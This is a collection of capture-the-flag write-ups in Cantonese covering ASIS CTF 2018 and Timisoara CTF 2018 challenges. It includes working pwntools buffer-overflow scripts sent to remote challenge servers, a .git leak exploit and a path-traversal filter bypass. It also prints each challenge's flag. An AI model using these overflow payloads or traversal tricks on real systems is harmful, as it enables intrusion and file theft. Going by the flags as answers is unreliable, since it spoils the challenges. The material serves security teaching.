ASISCTF2018-LeftOrRight

Question

Binary

right_or_left

Solution

見到咁大個binary都知唔方好野 , 是但扔入 ida 睇下咩環境先啦

Search strings 見到有D咁既野

見到 ASIS喎 , 睇下邊到call過先

見到What’s the Secret Key? 喎 , 仲唔係關鍵位 , 直接跟入去睇睇啦 , 睇番 xref path發現係 sub_8270 call出黎既
跟過去既時候點知 call analysis failed , decompile唔到無計

而家我地大概知個program點運作啦 , 首先sub_83c0應該係用黎判斷個user input , 之後判斷跳去(sub_9320 / sub_8c20 / sub_a340 / sub_af70 / sub_9b10)到print flag

之後睇番之前 strings window果張圖 , 咪有D疑似Input既野既 , 所以寫左條script 出黎撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
import itertools

key = "linesuperkeymysecretkeygivemetheflagasisctfisfun"
key2 = "therustlanguageisfun"

#index = 36

out = ""
for index in range(15,20):
for i in range(len(key2)):
p = process("./right_or_left")
p.recvuntil("What's The Secret Key?\n")
p.sendline(key2[index:i+1])
resp = p.recv(1024)
if "ASIS" in resp:
out += key2[index:i] + ":" + resp
info(key2[index:i] + ":" + resp)
with open("/root/Desktop/out","wb") as f:
f.write(out)
f.close()

之前撞到4條flag

1
2
3
4
5
superkey : ASIS{be_noughty_step_closer_to_see_the_flag}
mysecretkey : ASIS{imagine_a_flag_in_a_watermelon_how_can_you_capture_it}
givemetheflag : ASIS{you_should_try_harder_haha}
asisctfisfun : ASIS{this_is_fake_flag_haha}
therustlanguageisfun : ASIS{that_is_not_the_real_flag}

有一條撞唔到 , 咁試下暴力D 直接改call啦
睇下睇下發現 sub_83c0 有條判斷係check 如果係等於asisctfisfun就跳去 sub_af70
所以我地只要搵到 call sub_af70就可以慢慢試跳去邊個位

試左幾次之後發現改去 call sub_9320就會get到條flag

Flag

1
ASIS{Rust_!s_Right_i5_rust_!5_rust_but_rust_!s_no7_left}

ASISCTF2018-WarmUp

Question

1
2
3
4
5
6
7
#define M 37
#define q (2+M/M)
#define v (q/q)
#define ef ((v+q)/2)
#define f (q-v-ef)
#define k (8-ef)
struct b{int64_t y[13];}S;int m=1811939329,N=1,t[1<<26]={2},a,*p,i,e=73421233,s,c,U=1;g(d,h){for(i=s;i<1<<25;i*=2)d=d*1LL*d%m;for(p=t;p<t+N;p+=s)for(i=s,c=1;i;i--)a=p[s]*(h?c:1LL)%m,p[s]=(m*1U+*p-a)*(h?1LL:c)%m,*p=(a*1U+*p)%m,p++,c=c*1LL*d%m;}l(){while(e/=2){N*=2;U=U*1LL*(m+1)/2%m;for(s=N;s/=2;)g(136,0);for(p=t;p<t+N;p++)*p=*p*1LL**p%m*U%m;for(s=1;s<N;s*=2)g(839354248,1);for(a=0,p=t;p<t+N;)a+=*p<<(e&1),*p++=a%10,a/=10;}}z(n){int y=3,j,c;for(j=2;j<=n;){l();for(c=2;c<=y-1;c++){l();if(y%c==0)break;}if(c==y){l();j++;}y++;}l();return y-1;}main(a, pq) char* pq;{int b=sizeof(S),y=b,j=M;l();int x[M]={b-M-sizeof((short int) a),(b>>v)+(k<<v)+ (v<<(q|ef)) + z(v+(ef<<v)),(z(k*ef)<<v)-pow(ef,f), z(( (j-ef*k)|(ef<<k>>v)/k-ef<<v)-ef),(((y+M)&b)<<(k/q+ef))-z(ef+v),((ef<<k)-v)&y,y*v+v,(ef<<(q*ef-v-(k>>ef)))*q-v,(f<<q)|(ef<<(q*f+k))-j+k,(z(z(z(z(z(v)))))*q)&(((j/q)-(ef<<v))<<q)|(j+(q|(ef<<v))),y|(q+v),(ef<<ef)-v+ef*(((j>>ef)|j)-v+ef-q+v),(z(j&(b<<ef))&(z(v<<v)<<k))-(q<<v)-q,(k<<q)+q,(z(y)>>(ef<<v))+(z(k+v))-q,(z(z(k&ef|j))&b|ef|v<<f<<q<<v&ef>>k|q<<ef<<v|k|q)+z(v<<v)+v,(ef>>v)*q*z(k-v)+z(ef<<ef&q|k)+ef,z(k<<k)&v&k|y+k-v,z(f>>ef|k>>ef|v|k)*(ef>>v)*q,(ef<<k-ef<<v>>q<<ef*ef)-j+(ef<<v),z(ef*k)*z(v<<v)+k-v,z((z(k)<<z(v)))&y|k|v,z(ef<<ef<<v<<v)/ef+z(v<<ef|k|(b>>q)&y-f)-(ef<<q)+(k-v)-ef,k<<(ef+q)/z(ef)*z(q)&z(k<<k)|v,((z(y|j>>k*ef))%ef<<z(v<<v<<v)>>q<<q|j)/ef+v,(j-ef<<ef<<v*z(v>>v<<v)>>ef)/ef%z(k<<j)+q,z(k-v)+k|z(ef<<k>>v<<f)-z(q<<q)*ef>>v,(z(ef|y&j|k)%q|j+ef<<z(k|ef)%k<<q|ef|k<<ef<<q/ef|y/ef+j>>q)&k<<j|ef+v,84,z(v*ef<<ef<<q)*q%ef<<k|k|q-v,((z(20)*v)|(f>>q)|(k<<k))/ef-(ef<<(v*q+ef))-(k<<q)+z(k)-q};while(j--){putchar(x[M-v-j]);}printf(" From ASIS With Love <3\n");return 0;}

Solution

見到堆疑似 C 既野 , 咁試下直接拍落visual studio 行下啦 , 同埋嘗試補番d data type比佢 , 然後等左幾分鐘就出左flag了了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include "stdafx.h"
#include <math.h>
#include <stdio.h>
#include <stdint.h>

#define M 37
#define q (2+M/M)
#define v (q/q)
#define ef ((v+q)/2)
#define f (q-v-ef)
#define k (8-ef)
struct b { int64_t y[13]; }S;
int m = 1811939329, N = 1, t[1 << 26] = { 2 }, a, *p, i, e = 73421233, s, c, U = 1;

void g(long d,long h) { for (i = s; i<1 << 25; i *= 2)d = d * 1LL * d%m; for (p = t; p<t + N; p += s)for (i = s, c = 1; i; i--)a = p[s] * (h ? c : 1LL) % m, p[s] = (m * 1U + *p - a)*(h ? 1LL : c) % m, *p = (a * 1U + *p) % m, p++, c = c * 1LL * d%m; }

void l() { while (e /= 2) { N *= 2; U = U * 1LL * (m + 1) / 2 % m; for (s = N; s /= 2;)g(136, 0); for (p = t; p<t + N; p++)*p = *p * 1LL * *p%m*U%m; for (s = 1; s<N; s *= 2)g(839354248, 1); for (a = 0, p = t; p<t + N;)a += *p << (e & 1), *p++ = a % 10, a /= 10; } }

int z(int n) { int y = 3, j, c; for (j = 2; j <= n;) { l(); for (c = 2; c <= y - 1; c++) { l(); if (y%c == 0)break; }if (c == y) { l(); j++; }y++; }l(); return y - 1; }

int main(){int b = sizeof(S), y = b, j = M; l(); int x[M] = { b - M - sizeof((short int)a),(b >> v) + (k << v) + (v << (q | ef)) + z(v + (ef << v)),(z(k*ef) << v) - pow(ef,f), z(((j - ef*k) | (ef << k >> v) / k - ef << v) - ef),(((y + M)&b) << (k / q + ef)) - z(ef + v),((ef << k) - v)&y,y*v + v,(ef << (q*ef - v - (k >> ef)))*q - v,(f << q) | (ef << (q*f + k)) - j + k,(z(z(z(z(z(v)))))*q)&(((j / q) - (ef << v)) << q) | (j + (q | (ef << v))),y | (q + v),(ef << ef) - v + ef*(((j >> ef) | j) - v + ef - q + v),(z(j&(b << ef))&(z(v << v) << k)) - (q << v) - q,(k << q) + q,(z(y) >> (ef << v)) + (z(k + v)) - q,(z(z(k&ef | j))&b | ef | v << f << q << v&ef >> k | q << ef << v | k | q) + z(v << v) + v,(ef >> v)*q*z(k - v) + z(ef << ef&q | k) + ef,z(k << k)&v&k | y + k - v,z(f >> ef | k >> ef | v | k)*(ef >> v)*q,(ef << k - ef << v >> q << ef*ef) - j + (ef << v),z(ef*k)*z(v << v) + k - v,z((z(k) << z(v)))&y | k | v,z(ef << ef << v << v) / ef + z(v << ef | k | (b >> q)&y - f) - (ef << q) + (k - v) - ef,k << (ef + q) / z(ef)*z(q)&z(k << k) | v,((z(y | j >> k*ef)) % ef << z(v << v << v) >> q << q | j) / ef + v,(j - ef << ef << v*z(v >> v << v) >> ef) / ef%z(k << j) + q,z(k - v) + k | z(ef << k >> v << f) - z(q << q)*ef >> v,(z(ef | y&j | k) % q | j + ef << z(k | ef) % k << q | ef | k << ef << q / ef | y / ef + j >> q)&k << j | ef + v,84,z(v*ef << ef << q)*q%ef << k | k | q - v,((z(20)*v) | (f >> q) | (k << k)) / ef - (ef << (v*q + ef)) - (k << q) + z(k) - q }; while (j--) { putchar(x[M - v - j]); }printf(" From ASIS With Love <3\n"); return 0; }

Flag

1
ASIS{hi_all_w31c0m3_to_ASISCTF}

ASISCTF2018-TheEarlySchool

Question

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python

from Crypto.Util.number import *
from flag import FLAG, round

def encrypt(msg):
assert set(msg) == set(['0', '1'])
enc = [msg[i:i+2] + str(int(msg[i]) ^ int(msg[min(i+1, len(msg)-1)])) for i in range(0, len(msg), 2)]
return ''.join(enc)

ENC = bin(bytes_to_long(FLAG))[2:]

for _ in xrange(round):
ENC = encrypt(ENC)

fp = open('FLAG.enc', 'w')
fp.write(long_to_bytes(int(ENC, 2)))
fp.close()

Encrypted flag:

FLAG.enc

Solution

見條script每次都係 msg[i:i+2] 再加堆奇怪野 , 咁唔理佢加咩啦
應該brute force個round就可以解得番條flag出黎

最後唔知點樣搵到個round係19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *

round = 19

def decrypt(round):
enc = open("FLAG.enc", "rb").read()
enc = bin(bytes_to_long(enc))[2:]
dec = ""
for r in range(round):
for i in range(0, len(enc), 3):
dec += enc[i:i+2]
enc = dec
dec = ""
return enc[:-1]

print hex(int(decrypt(round),2))[2:-1].decode('hex')

Flag

1
ASIS{50_S1mPl3_CryptO__4__warmup____}

TimisoaraCTF2018-ForeignLanguage

Question

1
2
3
4
Here's one of my favorite words:
da}}rilwwe00yt____mfotfysf__11ty11mg__lphyer__tyrt33__algv33uc44nrgely44ys____mvozfpsw__11tv11mf{{letsfmmgcutbic

Download: [haforli.zip](haforli.zip)

Solution

一爆開個zip見到有好多python dependency, 咁應該係python script但係用exe pack起左。
直接unpack佢先

1
python3 python_exe_unpack.py ./haforli.exe

然後拎到個script (原本條script唔係咁既 , d variable用晒oOOooOOooo之類 , 下面係我改過之後既版本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# uncompyle6 version 2.11.5
# Python bytecode 3.4 (3310)
# Decompiled from: Python 3.4.4 (default, Jan 5 2016, 15:35:18)
# [GCC 5.3.1 20160101]
# Embedded file name: haforli.py
# Compiled at: 2018-04-19 10:18:21
# Size of source mod 2**32: 198 bytes

import sys
import random
import string

welcomeText = "\n\n __ _ _ \n /\\ /\\__ _ / _| ___ _ __| (_)\n / /_/ / _` | |_ / _ \\| '__| | |\n/ __ / (_| | _| (_) | | | | |\n\\/ /_/ \\__,_|_| \\___/|_| |_|_|\n \n"

ooOO00oOo = lambda OOOo0: (True if len(OOOo0) % 2 == 1 else False)

def o0O():
print('Input an English word to be translated into a Haforli word: ')
inputWord = raw_input().strip().split(' ')[0]
reversedWord = inputWord[::-1]
Ooo = ''
o0oOoO00o = len(reversedWord) - 1 if ooOO00oOo(reversedWord) else len(reversedWord)
print o0oOoO00o
for i in range(0, o0oOoO00o, 2):
Ooo += reversedWord[i + 1] + reversedWord[i]

if ooOO00oOo(reversedWord):
Ooo += reversedWord[-1]
print Ooo
output = ''
for s in Ooo:
if not s.isalpha():
output += s + s
elif s.isupper():
output += s + random.choice(string.ascii_uppercase)
else:
output += s + random.choice(string.ascii_lowercase)


print('Your translated word: {0}'.format(output))

if __name__ == '__main__':
print(welcomeText)
o0O()

咁就睇應該都係可逆既 , 所以就寫左下面條script解

1
2
3
4
5
6
7
8
9
10
11
12
13
def decrypt(enc):
enc = enc[::-1]
tmp = ""
out = ""
for i in range(1, len(enc), 2):
tmp += enc[i]
for i in range(0, len(tmp), 2):
try:
out += tmp[i+1] + tmp[i]
except:
out += tmp[i]
return out
print decrypt("da}}rilwwe00yt____mfotfysf__11ty11mg__lphyer__tyrt33__algv33uc44nrgely44ys____mvozfpsw__11tv11mf{{letsfmmgcutbic")

Flag

1
timctf{l1m1ts_of_my_l4ngu4g3_ar3_the_l1m1ts_of_my_w0rld}

TimisoaraCTF2018-Attendance

Question

attendance

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = process("attendance")
p = remote("89.38.210.128", 31337)
vuln_func = 0x8048667

payload = "a"*48 + p32(vuln_func)

p.recvuntil("Call> ")
p.sendline("31337")

p.recvuntil("please:")
p.sendline(payload)
p.interactive()

Flag

1
timctf{l1ttl3_th1ngs_m4k3_b1g_th1ngs_h4pp3n}

TimisoaraCTF2018-cparty

Question

c_party.zip

Solution

睇睇個main先啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void __cdecl __noreturn main()
{
char v0; // [sp+58h] [bp-10h]@1
int v1; // [sp+5Ch] [bp-Ch]@1
int v2; // [sp+60h] [bp-8h]@1

v2 = 0;
alarm(0x3Cu);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("***^^^ STaR_C_PartY ^^^***");
puts("-- Welcome to the party --");
printf("Password: ");
v1 = 0;
if ( getline(&v1, &v0, stdin) == -1 )
{
perror("Failed reading user password");
exit(1);
}
if ( sub_8048800(v1) == -1059127554 )
{
puts("Oh, you're VIP, here's the special VIP ticket:");
system("cat /home/party/flag");
}
exit(0);
}

sub_8048800

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __cdecl sub_8048800(const char *a1)
{
const char *s1; // ST18_4@7
size_t v2; // eax@7
char *dest; // [sp+48h] [bp-40h]@4
int v5; // [sp+4Ch] [bp-3Ch]@4
FILE *stream; // [sp+50h] [bp-38h]@1
char s; // [sp+54h] [bp-34h]@1
int v8; // [sp+74h] [bp-14h]@1
const char *v9; // [sp+78h] [bp-10h]@1

v9 = a1;
v8 = 0;
memset(&s, 0, 0x20u);
stream = fopen("/home/party/orgs_password.txt", "r");
if ( !stream )
{
perror("Failed opening organisers password file");
exit(1);
}
v5 = 0;
dest = 0;
if ( getline(&dest, &v5, stream) == -1 )
{
fclose(stream);
perror("Failed organisers password");
exit(1);
}
fclose(stream);
dest[strcspn(dest, "\n")] = 0;
strcpy(&s, v9);
s1 = dest;
v2 = strlen(dest);
if ( !strncmp(s1, &s, v2) )
{
puts("Good password. Now you'll get your ticket...");
puts("Ticket id: timctf{0112-3581-3213-4558-9144}");
}
else
{
puts("Bad password. No ticket, go home!");
}
free(dest);
return v8;
}

似乎我地要做到既野正係需要令到 sub_8048800 既return變做0xC0DEFEFE 就完事

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote("89.38.210.128", 31338)

password = 0xc0defefe
payload = "a"*32 + p32(password)

p.recvuntil("Password: ")
p.sendline(payload)
print p.recv(1024)
p.interactive()

Flag

1
timctf{d0nt_cr4sh_th3_p4rty_b3_th3_p4rty}

TimisoaraCTF2018-NotYourAverageRSA

Question

1
2
c: 20318623659277133784436863405159350994457887674343039464217662595169547155252162707757860373904591558880102908865139317161642898188843552485749556428171374190436116308993843078746618097974105761149153341729931060530612128761115767471801348290177493316532913006382242873832659641556157675014368433683567068217
n: 134907508240262137946502074360739103059110939023118055674568339675274978708216465550239395185797633495974788047880328560410956605895894497803797294715631963939546472939054512693762329563642230731635928665937542607055460883018173012233396950213422702996807273870440698007181387418977498579818700406673368084937

Solution

直接將 n 扔上factordb發現好多prime

1
42125267 · 49833439 · 58693039 · 61513877 · 167006983813971973935755769744287313795624064948679838624701034583661551637974040070265964882467867666872657483049263378360657863549 · 106580625826530329045051134241813132858137977273664192502334106456384150414405388669523053631392655455506681541904952100571943163465502692906512867

醒起有樣野好似叫做 MPRSA (Multi Prime RSA)
但係佢好似無比 e 喎 , 咁是但塞住個65537落去試試先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import gmpy

def chinese_remainder(n, a):
sum = 0
prod = reduce(lambda a, b: a*b, n)

for n_i, a_i in zip(n, a):
p = prod / n_i
sum += a_i * gmpy.invert(p, n_i) * p
return sum % prod

c = 20318623659277133784436863405159350994457887674343039464217662595169547155252162707757860373904591558880102908865139317161642898188843552485749556428171374190436116308993843078746618097974105761149153341729931060530612128761115767471801348290177493316532913006382242873832659641556157675014368433683567068217

n = 134907508240262137946502074360739103059110939023118055674568339675274978708216465550239395185797633495974788047880328560410956605895894497803797294715631963939546472939054512693762329563642230731635928665937542607055460883018173012233396950213422702996807273870440698007181387418977498579818700406673368084937

e = 65537

primes = [
42125267,
49833439,
58693039,
61513877,
167006983813971973935755769744287313795624064948679838624701034583661551637974040070265964882467867666872657483049263378360657863549,
106580625826530329045051134241813132858137977273664192502334106456384150414405388669523053631392655455506681541904952100571943163465502692906512867]

n_ary = []
a_ary = []
for p in primes:
phi = p - 1
d = gmpy.invert(e, phi)
mk = pow(c, d, p)
n_ary.append(p)
a_ary.append(mk)

m = chinese_remainder(n_ary, a_ary)
flag = ('%x' % m).decode('hex')
print flag

TimisoaraCTF2018-Squirrels

Question

http://squirrels.woodlandhighschool.xyz/

Solution

第一步用插件check下有冇.git 洩漏先啦

1
2
3
4
5
6
7
http://squirrels.woodlandhighschool.xyz/.git/	              SECURITY LEAK!
http://squirrels.woodlandhighschool.xyz/.git/index SECURITY LEAK!
http://squirrels.woodlandhighschool.xyz/.git/COMMIT_EDITMSG SECURITY LEAK!
http://squirrels.woodlandhighschool.xyz/.git/config SECURITY LEAK!
http://squirrels.woodlandhighschool.xyz/.git/description SECURITY LEAK!
http://squirrels.woodlandhighschool.xyz/.git/HEAD SECURITY LEAK!
http://squirrels.woodlandhighschool.xyz/.git/packed-refs Well done.

見到咁就用githack clone晒落黎先
但係用git log又乜都睇唔到喎 , 咁唯有去番.git到睇下有咩線索啦
睇到去 config既時候發現

1
2
3
4
5
6
7
8
9
10
11
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
email = squirrels@woodlandhighschool.com
name = Squirrels
[remote "fork"]
url = http://git.woodlandhighschool.xyz/squirrels
fetch = +refs/heads/*:refs/remotes/fork/*

原來呢個site係fork落黎 , main repo係http://git.woodlandhighschool.xyz/squirrels
去到一睇點知係空白架喎 , 咁又唯有githack下佢啦
發現有個commit 既desciption係add flag , 咁checkout落黎睇睇先

1
cat index.html | grep tim

Flag

1
timctf{g1t_w1z4rd_1n_w00dl4and_h1ghsch00l}

TimisoaraCTF2018-BookDir1-2

Question

http://89.38.210.129:8012

Solution

BookDir2

第一步入去睇source見到有個js file, 似乎係用黎裝住client side既core logic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
let bookTemplate = `
<div class="col-lg-4 col-sm-6 text-center mb-4">
<h3>%NAME%</h3>
<p>%MESSAGE%</p>
</div>
`;

let bookMessages = [
'A great book indeed!',
'Best content you can get out there.',
'Best-seller & #1 10 times in a row.',
'Featured and recommended by us.',
];

$.ajax({
url: 'booklist.php',
dataType: 'json',
type: 'GET',
headers: {'X-Dir': '.'},
success: (books) => {
let container = $('#books');
books.forEach(book => {
// let message = bookMessages[Math.floor(Math.random() * bookMessages.length)];
$.getJSON('booklist.php?f=' + book.name, message => {
container.append(bookTemplate.replace(/%NAME%/g, book.name).replace(/%MESSAGE%/g, message));
});
})
},
});

呢段script就咁睇似乎 booklist.php 係用黎拎book list既 , 咁佢需要既野正係得 X-Dir , 或者個X-Dir係用黎控制係邊個directory拎野?
正常request過去睇下咩黎架先

1
[{"name":"Beloved"},{"name":"Catch-22"},{"name":"Lolita"},{"name":"Nineteen Eighty-Four"},{"name":"The Catcher in the Rye"},{"name":"The Grapes of Wrath"},{"name":"The Great Gatsby"},{"name":"The Sound and the Fury"},{"name":"Ulysses"}]

咁試下改佢做 ../ 再request睇下先
果然拎番黎既結果唔同左

1
[{"name":"4o4_fl4g_n0t_f0und.php"},{"name":"booklist.php"},{"name":"books.js"},{"name":"css"},{"name":"index.html"},{"name":"list"},{"name":"vendor"}]

咁而家要做既野應該就係諗方法點讀個 4o4_fl4g_n0t_f0und.php
睇番條javascript, 原來booklist.php仲可以收個f variable, 咁就睇應該係個filename
直接試下入f=4o4_fl4g_n0t_f0und.php先 , 不過發現原來係唔work既

1
false

咁試下入番正常書名先 f=Beloved

1
"\"124 was spiteful. Full of baby's venom. The women in the house knew it and so did the children.\"\n"

發現又回到野喎 , 咁可能個X-Dir應該正係用黎list directory , 真正讀file果下應該set死左係list個folder到
咁既話應該可以 f=../4o4_fl4g_n0t_f0und.php 黎讀番上一層個file , 不過發現都係fail左
有機會係套source直接將../ replace左之類 , 咁唯有試下 …/./4o4_fl4g_n0t_f0und.php 啦

1
"<?php\n\/\/ timctf{f0und_f1rst_p4rt___wh4t_n3xt}\n\n\/\/ Can you get the second part? :^)\n"

BookDir

承上題我地可以任意讀file之後 , 咁就順手讀埋 booklist.php睇下有冇flag啦

1
"<?php\n\n$headers = getallheaders();\n\nfunction waf($str) {\n    return str_replace('..\/', '', $str);\n}\n\nif (isset($_GET['f'])) {\n    ini_set('open_basedir', '\/var\/www\/site\/');\n    \/\/ ^ I wonder why that is.. ?\n\n    echo json_encode(file_get_contents('list\/' . waf($_GET['f'])));\n} else {\n    ini_set('open_basedir', '\/var\/www\/site\/books\/');\n\n    $dir = '.';\n    if (isset($headers['X-Dir'])) {\n        $dir = $headers['X-Dir']; \/\/ waf()? might be too easy for the first stage :^)\n\n        \/\/ artificial hack to check for \/ as last char after replacement\n        if ($dir[strlen($dir) - 1] !== '\/') {\n            $dir = '.';\n        }\n    }\n\n    $files = [];\n    foreach (array_diff(scandir('list\/' . $dir), ['..', '.']) as $file) {\n        $files[] = ['name' => $file];\n    }\n\n    echo json_encode($files);\n}\n"

結果係無既 , 咁順手試埋再上一層個.htaccess先

1
"<Files .htaccess>\n  Order allow,deny\n  Deny from all\n<\/Files>\n\n<Files w0w_y0u_g0t_m3___.php>\n  Order allow,deny\n  Deny from all\n<\/Files>\n\nRewriteEngine On\nRewriteRule ^(?:books\/list)\\b.* \/403.php\n"

發現左root directory 有個file叫w0w_y0u_g0tm3__.php

1
"<?php\n\n\/\/ timctf{b0Ok5_4r3_4m4z1ng}\necho 'c0ngr4ts!';\n"

Flag

BookDir: timctf{b0Ok5_4r3_4m4z1ng}
BookDir2: timctf{f0und_f1rst_p4rt___wh4t_n3xt}